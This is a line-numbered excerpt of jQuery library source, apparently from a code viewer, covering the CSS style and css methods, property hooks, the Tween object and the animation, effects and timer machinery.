{ 6392 if ( computed ) { 6393 6394 // We should always get a number back from opacity 6395 var ret = curCSS( elem, "opacity" ); 6396 return ret === "" ? "1" : ret; 6397 } 6398 } 6399 } 6400 }, 6401 6402 // Don't automatically add "px" to these possibly-unitless properties 6403 cssNumber: { 6404 "animationIterationCount": true, 6405 "columnCount": true, 6406 "fillOpacity": true, 6407 "flexGrow": true, 6408 "flexShrink": true, 6409 "fontWeight": true, 6410 "lineHeight": true, 6411 "opacity": true, 6412 "order": true, 6413 "orphans": true, 6414 "widows": true, 6415 "zIndex": true, 6416 "zoom": true 6417 }, 6418 6419 // Add in properties whose names you wish to fix before 6420 // setting or getting the value 6421 cssProps: { 6422 "float": "cssFloat" 6423 }, 6424 6425 // Get and set the style property on a DOM Node 6426 style: function( elem, name, value, extra ) { 6427 6428 // Don't set styles on text and comment nodes 6429 if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) { 6430 return; 6431 } 6432 6433 // Make sure that we're working with the right name 6434 var ret, type, hooks, 6435 origName = jQuery.camelCase( name ), 6436 isCustomProp = rcustomProp.test( name ), 6437 style = elem.style; 6438 6439 // Make sure that we're working with the right name. We don't 6440 // want to query the value if it is a CSS custom property 6441 // since they are user-defined. 6442 if ( !isCustomProp ) { 6443 name = finalPropName( origName ); 6444 } 6445 6446 // Gets hook for the prefixed version, then unprefixed version 6447 hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ]; 6448 6449 // Check if we're setting a value 6450 if ( value !== undefined ) { 6451 type = typeof value; 6452 6453 // Convert "+=" or "-=" to relative numbers (#7345) 6454 if ( type === "string" && ( ret = rcssNum.exec( value ) ) && ret[ 1 ] ) { 6455 value = adjustCSS( elem, name, ret ); 6456 6457 // Fixes bug #9237 6458 type = "number"; 6459 } 6460 6461 // Make sure that null and NaN values aren't set (#7116) 6462 if ( value == null || value !== value ) { 6463 return; 6464 } 6465 6466 // If a number was passed in, add the unit (except for certain CSS properties) 6467 if ( type === "number" ) { 6468 value += ret && ret[ 3 ] || ( jQuery.cssNumber[ origName ] ? "" : "px" ); 6469 } 6470 6471 // background-* props affect original clone's values 6472 if ( !support.clearCloneStyle && value === "" && name.indexOf( "background" ) === 0 ) { 6473 style[ name ] = "inherit"; 6474 } 6475 6476 // If a hook was provided, use that value, otherwise just set the specified value
vendor: 4,779 bytes, lines 6477-6659
6477 if ( !hooks || !( "set" in hooks ) || 6478 ( value = hooks.set( elem, value, extra ) ) !== undefined ) { 6479 6480 if ( isCustomProp ) { 6481 style.setProperty( name, value ); 6482 } else { 6483 style[ name ] = value; 6484 } 6485 } 6486 6487 } else { 6488 6489 // If a hook was provided get the non-computed value from there 6490 if ( hooks && "get" in hooks && 6491 ( ret = hooks.get( elem, false, extra ) ) !== undefined ) { 6492 6493 return ret; 6494 } 6495 6496 // Otherwise just get the value from the style object 6497 return style[ name ]; 6498 } 6499 }, 6500 6501 css: function( elem, name, extra, styles ) { 6502 var val, num, hooks, 6503 origName = jQuery.camelCase( name ), 6504 isCustomProp = rcustomProp.test( name ); 6505 6506 // Make sure that we're working with the right name. We don't 6507 // want to modify the value if it is a CSS custom property 6508 // since they are user-defined. 6509 if ( !isCustomProp ) { 6510 name = finalPropName( origName ); 6511 } 6512 6513 // Try prefixed name followed by the unprefixed name 6514 hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ]; 6515 6516 // If a hook was provided get the computed value from there 6517 if ( hooks && "get" in hooks ) { 6518 val = hooks.get( elem, true, extra ); 6519 } 6520 6521 // Otherwise, if a way to get the computed value exists, use that 6522 if ( val === undefined ) { 6523 val = curCSS( elem, name, styles ); 6524 } 6525 6526 // Convert "normal" to computed value 6527 if ( val === "normal" && name in cssNormalTransform ) { 6528 val = cssNormalTransform[ name ]; 6529 } 6530 6531 // Make numeric if forced or a qualifier was provided and val looks numeric 6532 if ( extra === "" || extra ) { 6533 num = parseFloat( val ); 6534 return extra === true || isFinite( num ) ? num || 0 : val; 6535 } 6536 6537 return val; 6538 } 6539} ); 6540 6541jQuery.each( [ "height", "width" ], function( i, name ) { 6542 jQuery.cssHooks[ name ] = { 6543 get: function( elem, computed, extra ) { 6544 if ( computed ) { 6545 6546 // Certain elements can have dimension info if we invisibly show them 6547 // but it must have a current display style that would benefit 6548 return rdisplayswap.test( jQuery.css( elem, "display" ) ) && 6549 6550 // Support: Safari 8+ 6551 // Table columns in Safari have non-zero offsetWidth & zero 6552 // getBoundingClientRect().width unless display is changed. 6553 // Support: IE <=11 only 6554 // Running getBoundingClientRect on a disconnected node 6555 // in IE throws an error. 6556 ( !elem.getClientRects().length || !elem.getBoundingClientRect().width ) ? 6557 swap( elem, cssShow, function() { 6558 return getWidthOrHeight( elem, name, extra ); 6559 } ) : 6560 getWidthOrHeight( elem, name, extra ); 6561 } 6562 }, 6563 6564 set: function( elem, value, extra ) { 6565 var matches, 6566 styles = extra && getStyles( elem ), 6567 subtract = extra && augmentWidthOrHeight( 6568 elem, 6569 name, 6570 extra, 6571 jQuery.css( elem, "boxSizing", false, styles ) === "border-box", 6572 styles 6573 ); 6574 6575 // Convert to pixels if value adjustment is needed 6576 if ( subtract && ( matches = rcssNum.exec( value ) ) && 6577 ( matches[ 3 ] || "px" ) !== "px" ) { 6578 6579 elem.style[ name ] = value; 6580 value = jQuery.css( elem, name ); 6581 } 6582 6583 return setPositiveNumber( elem, value, subtract ); 6584 } 6585 }; 6586} ); 6587 6588jQuery.cssHooks.marginLeft = addGetHookIf( support.reliableMarginLeft, 6589 function( elem, computed ) { 6590 if ( computed ) { 6591 return ( parseFloat( curCSS( elem, "marginLeft" ) ) || 6592 elem.getBoundingClientRect().left - 6593 swap( elem, { marginLeft: 0 }, function() { 6594 return elem.getBoundingClientRect().left; 6595 } ) 6596 ) + "px"; 6597 } 6598 } 6599); 6600 6601// These hooks are used by animate to expand properties 6602jQuery.each( { 6603 margin: "", 6604 padding: "", 6605 border: "Width" 6606}, function( prefix, suffix ) { 6607 jQuery.cssHooks[ prefix + suffix ] = { 6608 expand: function( value ) { 6609 var i = 0, 6610 expanded = {}, 6611 6612 // Assumes a single number if not a string 6613 parts = typeof value === "string" ? value.split( " " ) : [ value ]; 6614 6615 for ( ; i < 4; i++ ) { 6616 expanded[ prefix + cssExpand[ i ] + suffix ] = 6617 parts[ i ] || parts[ i - 2 ] || parts[ 0 ]; 6618 } 6619 6620 return expanded; 6621 } 6622 }; 6623 6624 if ( !rmargin.test( prefix ) ) { 6625 jQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber; 6626 } 6627} ); 6628 6629jQuery.fn.extend( { 6630 css: function( name, value ) { 6631 return access( this, function( elem, name, value ) { 6632 var styles, len, 6633 map = {}, 6634 i = 0; 6635 6636 if ( Array.isArray( name ) ) { 6637 styles = getStyles( elem ); 6638 len = name.length; 6639 6640 for ( ; i < len; i++ ) { 6641 map[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles ); 6642 } 6643 6644 return map; 6645 } 6646 6647 return value !== undefined ? 6648 jQuery.style( elem, name, value ) : 6649 jQuery.css( elem, name ); 6650 }, name, value, arguments.length > 1 ); 6651 } 6652} ); 6653 6654 6655function Tween( elem, options, prop, end, easing ) { 6656 return new Tween.prototype.init( elem, options, prop, end, easing ); 6657} 6658jQuery.Tween = Tween; 6659
vendor: 6,216 bytes, lines 6660-6898
6660Tween.prototype = { 6661 constructor: Tween, 6662 init: function( elem, options, prop, end, easing, unit ) { 6663 this.elem = elem; 6664 this.prop = prop; 6665 this.easing = easing || jQuery.easing._default; 6666 this.options = options; 6667 this.start = this.now = this.cur(); 6668 this.end = end; 6669 this.unit = unit || ( jQuery.cssNumber[ prop ] ? "" : "px" ); 6670 }, 6671 cur: function() { 6672 var hooks = Tween.propHooks[ this.prop ]; 6673 6674 return hooks && hooks.get ? 6675 hooks.get( this ) : 6676 Tween.propHooks._default.get( this ); 6677 }, 6678 run: function( percent ) { 6679 var eased, 6680 hooks = Tween.propHooks[ this.prop ]; 6681 6682 if ( this.options.duration ) { 6683 this.pos = eased = jQuery.easing[ this.easing ]( 6684 percent, this.options.duration * percent, 0, 1, this.options.duration 6685 ); 6686 } else { 6687 this.pos = eased = percent; 6688 } 6689 this.now = ( this.end - this.start ) * eased + this.start; 6690 6691 if ( this.options.step ) { 6692 this.options.step.call( this.elem, this.now, this ); 6693 } 6694 6695 if ( hooks && hooks.set ) { 6696 hooks.set( this ); 6697 } else { 6698 Tween.propHooks._default.set( this ); 6699 } 6700 return this; 6701 } 6702}; 6703 6704Tween.prototype.init.prototype = Tween.prototype; 6705 6706Tween.propHooks = { 6707 _default: { 6708 get: function( tween ) { 6709 var result; 6710 6711 // Use a property on the element directly when it is not a DOM element, 6712 // or when there is no matching style property that exists. 6713 if ( tween.elem.nodeType !== 1 || 6714 tween.elem[ tween.prop ] != null && tween.elem.style[ tween.prop ] == null ) { 6715 return tween.elem[ tween.prop ]; 6716 } 6717 6718 // Passing an empty string as a 3rd parameter to .css will automatically 6719 // attempt a parseFloat and fallback to a string if the parse fails. 6720 // Simple values such as "10px" are parsed to Float; 6721 // complex values such as "rotate(1rad)" are returned as-is. 6722 result = jQuery.css( tween.elem, tween.prop, "" ); 6723 6724 // Empty strings, null, undefined and "auto" are converted to 0. 6725 return !result || result === "auto" ? 0 : result; 6726 }, 6727 set: function( tween ) { 6728 6729 // Use step hook for back compat. 6730 // Use cssHook if its there. 6731 // Use .style if available and use plain properties where available. 6732 if ( jQuery.fx.step[ tween.prop ] ) { 6733 jQuery.fx.step[ tween.prop ]( tween ); 6734 } else if ( tween.elem.nodeType === 1 && 6735 ( tween.elem.style[ jQuery.cssProps[ tween.prop ] ] != null || 6736 jQuery.cssHooks[ tween.prop ] ) ) { 6737 jQuery.style( tween.elem, tween.prop, tween.now + tween.unit ); 6738 } else { 6739 tween.elem[ tween.prop ] = tween.now; 6740 } 6741 } 6742 } 6743}; 6744 6745// Support: IE <=9 only 6746// Panic based approach to setting things on disconnected nodes 6747Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = { 6748 set: function( tween ) { 6749 if ( tween.elem.nodeType && tween.elem.parentNode ) { 6750 tween.elem[ tween.prop ] = tween.now; 6751 } 6752 } 6753}; 6754 6755jQuery.easing = { 6756 linear: function( p ) { 6757 return p; 6758 }, 6759 swing: function( p ) { 6760 return 0.5 - Math.cos( p * Math.PI ) / 2; 6761 }, 6762 _default: "swing" 6763}; 6764 6765jQuery.fx = Tween.prototype.init; 6766 6767// Back compat <1.8 extension point 6768jQuery.fx.step = {}; 6769 6770 6771 6772 6773var 6774 fxNow, inProgress, 6775 rfxtypes = /^(?:toggle|show|hide)$/, 6776 rrun = /queueHooks$/; 6777 6778function schedule() { 6779 if ( inProgress ) { 6780 if ( document.hidden === false && window.requestAnimationFrame ) { 6781 window.requestAnimationFrame( schedule ); 6782 } else { 6783 window.setTimeout( schedule, jQuery.fx.interval ); 6784 } 6785 6786 jQuery.fx.tick(); 6787 } 6788} 6789 6790// Animations created synchronously will run synchronously 6791function createFxNow() { 6792 window.setTimeout( function() { 6793 fxNow = undefined; 6794 } ); 6795 return ( fxNow = jQuery.now() ); 6796} 6797 6798// Generate parameters to create a standard animation 6799function genFx( type, includeWidth ) { 6800 var which, 6801 i = 0, 6802 attrs = { height: type }; 6803 6804 // If we include width, step value is 1 to do all cssExpand values, 6805 // otherwise step value is 2 to skip over Left and Right 6806 includeWidth = includeWidth ? 1 : 0; 6807 for ( ; i < 4; i += 2 - includeWidth ) { 6808 which = cssExpand[ i ]; 6809 attrs[ "margin" + which ] = attrs[ "padding" + which ] = type; 6810 } 6811 6812 if ( includeWidth ) { 6813 attrs.opacity = attrs.width = type; 6814 } 6815 6816 return attrs; 6817} 6818 6819function createTween( value, prop, animation ) { 6820 var tween, 6821 collection = ( Animation.tweeners[ prop ] || [] ).concat( Animation.tweeners[ "*" ] ), 6822 index = 0, 6823 length = collection.length; 6824 for ( ; index < length; index++ ) { 6825 if ( ( tween = collection[ index ].call( animation, prop, value ) ) ) { 6826 6827 // We're done with this property 6828 return tween; 6829 } 6830 } 6831} 6832 6833function defaultPrefilter( elem, props, opts ) { 6834 var prop, value, toggle, hooks, oldfire, propTween, restoreDisplay, display, 6835 isBox = "width" in props || "height" in props, 6836 anim = this, 6837 orig = {}, 6838 style = elem.style, 6839 hidden = elem.nodeType && isHiddenWithinTree( elem ), 6840 dataShow = dataPriv.get( elem, "fxshow" ); 6841 6842 // Queue-skipping animations hijack the fx hooks 6843 if ( !opts.queue ) { 6844 hooks = jQuery._queueHooks( elem, "fx" ); 6845 if ( hooks.unqueued == null ) { 6846 hooks.unqueued = 0; 6847 oldfire = hooks.empty.fire; 6848 hooks.empty.fire = function() { 6849 if ( !hooks.unqueued ) { 6850 oldfire(); 6851 } 6852 }; 6853 } 6854 hooks.unqueued++; 6855 6856 anim.always( function() { 6857 6858 // Ensure the complete handler is called before this completes 6859 anim.always( function() { 6860 hooks.unqueued--; 6861 if ( !jQuery.queue( elem, "fx" ).length ) { 6862 hooks.empty.fire(); 6863 } 6864 } ); 6865 } ); 6866 } 6867 6868 // Detect show/hide animations 6869 for ( prop in props ) { 6870 value = props[ prop ]; 6871 if ( rfxtypes.test( value ) ) { 6872 delete props[ prop ]; 6873 toggle = toggle || value === "toggle"; 6874 if ( value === ( hidden ? "hide" : "show" ) ) { 6875 6876 // Pretend to be hidden if this is a "show" and 6877 // there is still data from a stopped show/hide 6878 if ( value === "show" && dataShow && dataShow[ prop ] !== undefined ) { 6879 hidden = true; 6880 6881 // Ignore all other no-op show/hide data 6882 } else { 6883 continue; 6884 } 6885 } 6886 orig[ prop ] = dataShow && dataShow[ prop ] || jQuery.style( elem, prop ); 6887 } 6888 } 6889 6890 // Bail out if this is a no-op like .hide().hide() 6891 propTween = !jQuery.isEmptyObject( props ); 6892 if ( !propTween && jQuery.isEmptyObject( orig ) ) { 6893 return; 6894 } 6895 6896 // Restrict "overflow" and "display" styles during box animations 6897 if ( isBox && elem.nodeType === 1 ) { 6898
vendor: 4,173 bytes, lines 6899-7057
6899 // Support: IE <=9 - 11, Edge 12 - 13 6900 // Record all 3 overflow attributes because IE does not infer the shorthand 6901 // from identically-valued overflowX and overflowY 6902 opts.overflow = [ style.overflow, style.overflowX, style.overflowY ]; 6903 6904 // Identify a display type, preferring old show/hide data over the CSS cascade 6905 restoreDisplay = dataShow && dataShow.display; 6906 if ( restoreDisplay == null ) { 6907 restoreDisplay = dataPriv.get( elem, "display" ); 6908 } 6909 display = jQuery.css( elem, "display" ); 6910 if ( display === "none" ) { 6911 if ( restoreDisplay ) { 6912 display = restoreDisplay; 6913 } else { 6914 6915 // Get nonempty value(s) by temporarily forcing visibility 6916 showHide( [ elem ], true ); 6917 restoreDisplay = elem.style.display || restoreDisplay; 6918 display = jQuery.css( elem, "display" ); 6919 showHide( [ elem ] ); 6920 } 6921 } 6922 6923 // Animate inline elements as inline-block 6924 if ( display === "inline" || display === "inline-block" && restoreDisplay != null ) { 6925 if ( jQuery.css( elem, "float" ) === "none" ) { 6926 6927 // Restore the original display value at the end of pure show/hide animations 6928 if ( !propTween ) { 6929 anim.done( function() { 6930 style.display = restoreDisplay; 6931 } ); 6932 if ( restoreDisplay == null ) { 6933 display = style.display; 6934 restoreDisplay = display === "none" ? "" : display; 6935 } 6936 } 6937 style.display = "inline-block"; 6938 } 6939 } 6940 } 6941 6942 if ( opts.overflow ) { 6943 style.overflow = "hidden"; 6944 anim.always( function() { 6945 style.overflow = opts.overflow[ 0 ]; 6946 style.overflowX = opts.overflow[ 1 ]; 6947 style.overflowY = opts.overflow[ 2 ]; 6948 } ); 6949 } 6950 6951 // Implement show/hide animations 6952 propTween = false; 6953 for ( prop in orig ) { 6954 6955 // General show/hide setup for this element animation 6956 if ( !propTween ) { 6957 if ( dataShow ) { 6958 if ( "hidden" in dataShow ) { 6959 hidden = dataShow.hidden; 6960 } 6961 } else { 6962 dataShow = dataPriv.access( elem, "fxshow", { display: restoreDisplay } ); 6963 } 6964 6965 // Store hidden/visible for toggle so `.stop().toggle()` "reverses" 6966 if ( toggle ) { 6967 dataShow.hidden = !hidden; 6968 } 6969 6970 // Show elements before animating them 6971 if ( hidden ) { 6972 showHide( [ elem ], true ); 6973 } 6974 6975 /* eslint-disable no-loop-func */ 6976 6977 anim.done( function() { 6978 6979 /* eslint-enable no-loop-func */ 6980 6981 // The final step of a "hide" animation is actually hiding the element 6982 if ( !hidden ) { 6983 showHide( [ elem ] ); 6984 } 6985 dataPriv.remove( elem, "fxshow" ); 6986 for ( prop in orig ) { 6987 jQuery.style( elem, prop, orig[ prop ] ); 6988 } 6989 } ); 6990 } 6991 6992 // Per-property setup 6993 propTween = createTween( hidden ? dataShow[ prop ] : 0, prop, anim ); 6994 if ( !( prop in dataShow ) ) { 6995 dataShow[ prop ] = propTween.start; 6996 if ( hidden ) { 6997 propTween.end = propTween.start; 6998 propTween.start = 0; 6999 } 7000 } 7001 } 7002} 7003 7004function propFilter( props, specialEasing ) { 7005 var index, name, easing, value, hooks; 7006 7007 // camelCase, specialEasing and expand cssHook pass 7008 for ( index in props ) { 7009 name = jQuery.camelCase( index ); 7010 easing = specialEasing[ name ]; 7011 value = props[ index ]; 7012 if ( Array.isArray( value ) ) { 7013 easing = value[ 1 ]; 7014 value = props[ index ] = value[ 0 ]; 7015 } 7016 7017 if ( index !== name ) { 7018 props[ name ] = value; 7019 delete props[ index ]; 7020 } 7021 7022 hooks = jQuery.cssHooks[ name ]; 7023 if ( hooks && "expand" in hooks ) { 7024 value = hooks.expand( value ); 7025 delete props[ name ]; 7026 7027 // Not quite $.extend, this won't overwrite existing keys. 7028 // Reusing 'index' because we have the correct "name" 7029 for ( index in value ) { 7030 if ( !( index in props ) ) { 7031 props[ index ] = value[ index ]; 7032 specialEasing[ index ] = easing; 7033 } 7034 } 7035 } else { 7036 specialEasing[ name ] = easing; 7037 } 7038 } 7039} 7040 7041function Animation( elem, properties, options ) { 7042 var result, 7043 stopped, 7044 index = 0, 7045 length = Animation.prefilters.length, 7046 deferred = jQuery.Deferred().always( function() { 7047 7048 // Don't match elem in the :animated selector 7049 delete tick.elem; 7050 } ), 7051 tick = function() { 7052 if ( stopped ) { 7053 return false; 7054 } 7055 var currentTime = fxNow || createFxNow(), 7056 remaining = Math.max( 0, animation.startTime + animation.duration - currentTime ), 7057
vendor: 6,686 bytes, lines 7058-7317
7058 // Support: Android 2.3 only 7059 // Archaic crash bug won't allow us to use `1 - ( 0.5 || 0 )` (#12497) 7060 temp = remaining / animation.duration || 0, 7061 percent = 1 - temp, 7062 index = 0, 7063 length = animation.tweens.length; 7064 7065 for ( ; index < length; index++ ) { 7066 animation.tweens[ index ].run( percent ); 7067 } 7068 7069 deferred.notifyWith( elem, [ animation, percent, remaining ] ); 7070 7071 // If there's more to do, yield 7072 if ( percent < 1 && length ) { 7073 return remaining; 7074 } 7075 7076 // If this was an empty animation, synthesize a final progress notification 7077 if ( !length ) { 7078 deferred.notifyWith( elem, [ animation, 1, 0 ] ); 7079 } 7080 7081 // Resolve the animation and report its conclusion 7082 deferred.resolveWith( elem, [ animation ] ); 7083 return false; 7084 }, 7085 animation = deferred.promise( { 7086 elem: elem, 7087 props: jQuery.extend( {}, properties ), 7088 opts: jQuery.extend( true, { 7089 specialEasing: {}, 7090 easing: jQuery.easing._default 7091 }, options ), 7092 originalProperties: properties, 7093 originalOptions: options, 7094 startTime: fxNow || createFxNow(), 7095 duration: options.duration, 7096 tweens: [], 7097 createTween: function( prop, end ) { 7098 var tween = jQuery.Tween( elem, animation.opts, prop, end, 7099 animation.opts.specialEasing[ prop ] || animation.opts.easing ); 7100 animation.tweens.push( tween ); 7101 return tween; 7102 }, 7103 stop: function( gotoEnd ) { 7104 var index = 0, 7105 7106 // If we are going to the end, we want to run all the tweens 7107 // otherwise we skip this part 7108 length = gotoEnd ? animation.tweens.length : 0; 7109 if ( stopped ) { 7110 return this; 7111 } 7112 stopped = true; 7113 for ( ; index < length; index++ ) { 7114 animation.tweens[ index ].run( 1 ); 7115 } 7116 7117 // Resolve when we played the last frame; otherwise, reject 7118 if ( gotoEnd ) { 7119 deferred.notifyWith( elem, [ animation, 1, 0 ] ); 7120 deferred.resolveWith( elem, [ animation, gotoEnd ] ); 7121 } else { 7122 deferred.rejectWith( elem, [ animation, gotoEnd ] ); 7123 } 7124 return this; 7125 } 7126 } ), 7127 props = animation.props; 7128 7129 propFilter( props, animation.opts.specialEasing ); 7130 7131 for ( ; index < length; index++ ) { 7132 result = Animation.prefilters[ index ].call( animation, elem, props, animation.opts ); 7133 if ( result ) { 7134 if ( jQuery.isFunction( result.stop ) ) { 7135 jQuery._queueHooks( animation.elem, animation.opts.queue ).stop = 7136 jQuery.proxy( result.stop, result ); 7137 } 7138 return result; 7139 } 7140 } 7141 7142 jQuery.map( props, createTween, animation ); 7143 7144 if ( jQuery.isFunction( animation.opts.start ) ) { 7145 animation.opts.start.call( elem, animation ); 7146 } 7147 7148 // Attach callbacks from options 7149 animation 7150 .progress( animation.opts.progress ) 7151 .done( animation.opts.done, animation.opts.complete ) 7152 .fail( animation.opts.fail ) 7153 .always( animation.opts.always ); 7154 7155 jQuery.fx.timer( 7156 jQuery.extend( tick, { 7157 elem: elem, 7158 anim: animation, 7159 queue: animation.opts.queue 7160 } ) 7161 ); 7162 7163 return animation; 7164} 7165 7166jQuery.Animation = jQuery.extend( Animation, { 7167 7168 tweeners: { 7169 "*": [ function( prop, value ) { 7170 var tween = this.createTween( prop, value ); 7171 adjustCSS( tween.elem, prop, rcssNum.exec( value ), tween ); 7172 return tween; 7173 } ] 7174 }, 7175 7176 tweener: function( props, callback ) { 7177 if ( jQuery.isFunction( props ) ) { 7178 callback = props; 7179 props = [ "*" ]; 7180 } else { 7181 props = props.match( rnothtmlwhite ); 7182 } 7183 7184 var prop, 7185 index = 0, 7186 length = props.length; 7187 7188 for ( ; index < length; index++ ) { 7189 prop = props[ index ]; 7190 Animation.tweeners[ prop ] = Animation.tweeners[ prop ] || []; 7191 Animation.tweeners[ prop ].unshift( callback ); 7192 } 7193 }, 7194 7195 prefilters: [ defaultPrefilter ], 7196 7197 prefilter: function( callback, prepend ) { 7198 if ( prepend ) { 7199 Animation.prefilters.unshift( callback ); 7200 } else { 7201 Animation.prefilters.push( callback ); 7202 } 7203 } 7204} ); 7205 7206jQuery.speed = function( speed, easing, fn ) { 7207 var opt = speed && typeof speed === "object" ? jQuery.extend( {}, speed ) : { 7208 complete: fn || !fn && easing || 7209 jQuery.isFunction( speed ) && speed, 7210 duration: speed, 7211 easing: fn && easing || easing && !jQuery.isFunction( easing ) && easing 7212 }; 7213 7214 // Go to the end state if fx are off 7215 if ( jQuery.fx.off ) { 7216 opt.duration = 0; 7217 7218 } else { 7219 if ( typeof opt.duration !== "number" ) { 7220 if ( opt.duration in jQuery.fx.speeds ) { 7221 opt.duration = jQuery.fx.speeds[ opt.duration ]; 7222 7223 } else { 7224 opt.duration = jQuery.fx.speeds._default; 7225 } 7226 } 7227 } 7228 7229 // Normalize opt.queue - true/undefined/null -> "fx" 7230 if ( opt.queue == null || opt.queue === true ) { 7231 opt.queue = "fx"; 7232 } 7233 7234 // Queueing 7235 opt.old = opt.complete; 7236 7237 opt.complete = function() { 7238 if ( jQuery.isFunction( opt.old ) ) { 7239 opt.old.call( this ); 7240 } 7241 7242 if ( opt.queue ) { 7243 jQuery.dequeue( this, opt.queue ); 7244 } 7245 }; 7246 7247 return opt; 7248}; 7249 7250jQuery.fn.extend( { 7251 fadeTo: function( speed, to, easing, callback ) { 7252 7253 // Show any hidden elements after setting opacity to 0 7254 return this.filter( isHiddenWithinTree ).css( "opacity", 0 ).show() 7255 7256 // Animate to the value specified 7257 .end().animate( { opacity: to }, speed, easing, callback ); 7258 }, 7259 animate: function( prop, speed, easing, callback ) { 7260 var empty = jQuery.isEmptyObject( prop ), 7261 optall = jQuery.speed( speed, easing, callback ), 7262 doAnimation = function() { 7263 7264 // Operate on a copy of prop so per-property easing won't be lost 7265 var anim = Animation( this, jQuery.extend( {}, prop ), optall ); 7266 7267 // Empty animations, or finishing resolves immediately 7268 if ( empty || dataPriv.get( this, "finish" ) ) { 7269 anim.stop( true ); 7270 } 7271 }; 7272 doAnimation.finish = doAnimation; 7273 7274 return empty || optall.queue === false ? 7275 this.each( doAnimation ) : 7276 this.queue( optall.queue, doAnimation ); 7277 }, 7278 stop: function( type, clearQueue, gotoEnd ) { 7279 var stopQueue = function( hooks ) { 7280 var stop = hooks.stop; 7281 delete hooks.stop; 7282 stop( gotoEnd ); 7283 }; 7284 7285 if ( typeof type !== "string" ) { 7286 gotoEnd = clearQueue; 7287 clearQueue = type; 7288 type = undefined; 7289 } 7290 if ( clearQueue && type !== false ) { 7291 this.queue( type || "fx", [] ); 7292 } 7293 7294 return this.each( function() { 7295 var dequeue = true, 7296 index = type != null && type + "queueHooks", 7297 timers = jQuery.timers, 7298 data = dataPriv.get( this ); 7299 7300 if ( index ) { 7301 if ( data[ index ] && data[ index ].stop ) { 7302 stopQueue( data[ index ] ); 7303 } 7304 } else { 7305 for ( index in data ) { 7306 if ( data[ index ] && data[ index ].stop && rrun.test( index ) ) { 7307 stopQueue( data[ index ] ); 7308 } 7309 } 7310 } 7311 7312 for ( index = timers.length; index--; ) { 7313 if ( timers[ index ].elem === this && 7314 ( type == null || timers[ index ].queue === type ) ) { 7315 7316 timers[ index ].anim.stop( gotoEnd ); 7317 dequeue = false;
vendor: 2,199 bytes, lines 7318-7402
7318 timers.splice( index, 1 ); 7319 } 7320 } 7321 7322 // Start the next in the queue if the last step wasn't forced. 7323 // Timers currently will call their complete callbacks, which 7324 // will dequeue but only if they were gotoEnd. 7325 if ( dequeue || !gotoEnd ) { 7326 jQuery.dequeue( this, type ); 7327 } 7328 } ); 7329 }, 7330 finish: function( type ) { 7331 if ( type !== false ) { 7332 type = type || "fx"; 7333 } 7334 return this.each( function() { 7335 var index, 7336 data = dataPriv.get( this ), 7337 queue = data[ type + "queue" ], 7338 hooks = data[ type + "queueHooks" ], 7339 timers = jQuery.timers, 7340 length = queue ? queue.length : 0; 7341 7342 // Enable finishing flag on private data 7343 data.finish = true; 7344 7345 // Empty the queue first 7346 jQuery.queue( this, type, [] ); 7347 7348 if ( hooks && hooks.stop ) { 7349 hooks.stop.call( this, true ); 7350 } 7351 7352 // Look for any active animations, and finish them 7353 for ( index = timers.length; index--; ) { 7354 if ( timers[ index ].elem === this && timers[ index ].queue === type ) { 7355 timers[ index ].anim.stop( true ); 7356 timers.splice( index, 1 ); 7357 } 7358 } 7359 7360 // Look for any animations in the old queue and finish them 7361 for ( index = 0; index < length; index++ ) { 7362 if ( queue[ index ] && queue[ index ].finish ) { 7363 queue[ index ].finish.call( this ); 7364 } 7365 } 7366 7367 // Turn off finishing flag 7368 delete data.finish; 7369 } ); 7370 } 7371} ); 7372 7373jQuery.each( [ "toggle", "show", "hide" ], function( i, name ) { 7374 var cssFn = jQuery.fn[ name ]; 7375 jQuery.fn[ name ] = function( speed, easing, callback ) { 7376 return speed == null || typeof speed === "boolean" ? 7377 cssFn.apply( this, arguments ) : 7378 this.animate( genFx( name, true ), speed, easing, callback ); 7379 }; 7380} ); 7381 7382// Generate shortcuts for custom animations 7383jQuery.each( { 7384 slideDown: genFx( "show" ), 7385 slideUp: genFx( "hide" ), 7386 slideToggle: genFx( "toggle" ), 7387 fadeIn: { opacity: "show" }, 7388 fadeOut: { opacity: "hide" }, 7389 fadeToggle: { opacity: "toggle" } 7390}, function( name, props ) { 7391 jQuery.fn[ name ] = function( speed, easing, callback ) { 7392 return this.animate( props, speed, easing, callback ); 7393 }; 7394} ); 7395 7396jQuery.timers = []; 7397jQuery.fx.tick = function() { 7398 var timer, 7399 i = 0, 7400 timers = jQuery.timers; 7401 7402 fxNow = jQuery
vendor: 7,814 bytes, lines 7402-7755
7402.now(); 7403 7404 for ( ; i < timers.length; i++ ) { 7405 timer = timers[ i ]; 7406 7407 // Run the timer and safely remove it when done (allowing for external removal) 7408 if ( !timer() && timers[ i ] === timer ) { 7409 timers.splice( i--, 1 ); 7410 } 7411 } 7412 7413 if ( !timers.length ) { 7414 jQuery.fx.stop(); 7415 } 7416 fxNow = undefined; 7417}; 7418 7419jQuery.fx.timer = function( timer ) { 7420 jQuery.timers.push( timer ); 7421 jQuery.fx.start(); 7422}; 7423 7424jQuery.fx.interval = 13; 7425jQuery.fx.start = function() { 7426 if ( inProgress ) { 7427 return; 7428 } 7429 7430 inProgress = true; 7431 schedule(); 7432}; 7433 7434jQuery.fx.stop = function() { 7435 inProgress = null; 7436}; 7437 7438jQuery.fx.speeds = { 7439 slow: 600, 7440 fast: 200, 7441 7442 // Default speed 7443 _default: 400 7444}; 7445 7446 7447// Based off of the plugin by Clint Helfers, with permission. 7448// https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/ 7449jQuery.fn.delay = function( time, type ) { 7450 time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time; 7451 type = type || "fx"; 7452 7453 return this.queue( type, function( next, hooks ) { 7454 var timeout = window.setTimeout( next, time ); 7455 hooks.stop = function() { 7456 window.clearTimeout( timeout ); 7457 }; 7458 } ); 7459}; 7460 7461 7462( function() { 7463 var input = document.createElement( "input" ), 7464 select = document.createElement( "select" ), 7465 opt = select.appendChild( document.createElement( "option" ) ); 7466 7467 input.type = "checkbox"; 7468 7469 // Support: Android <=4.3 only 7470 // Default value for a checkbox should be "on" 7471 support.checkOn = input.value !== ""; 7472 7473 // Support: IE <=11 only 7474 // Must access selectedIndex to make default options select 7475 support.optSelected = opt.selected; 7476 7477 // Support: IE <=11 only 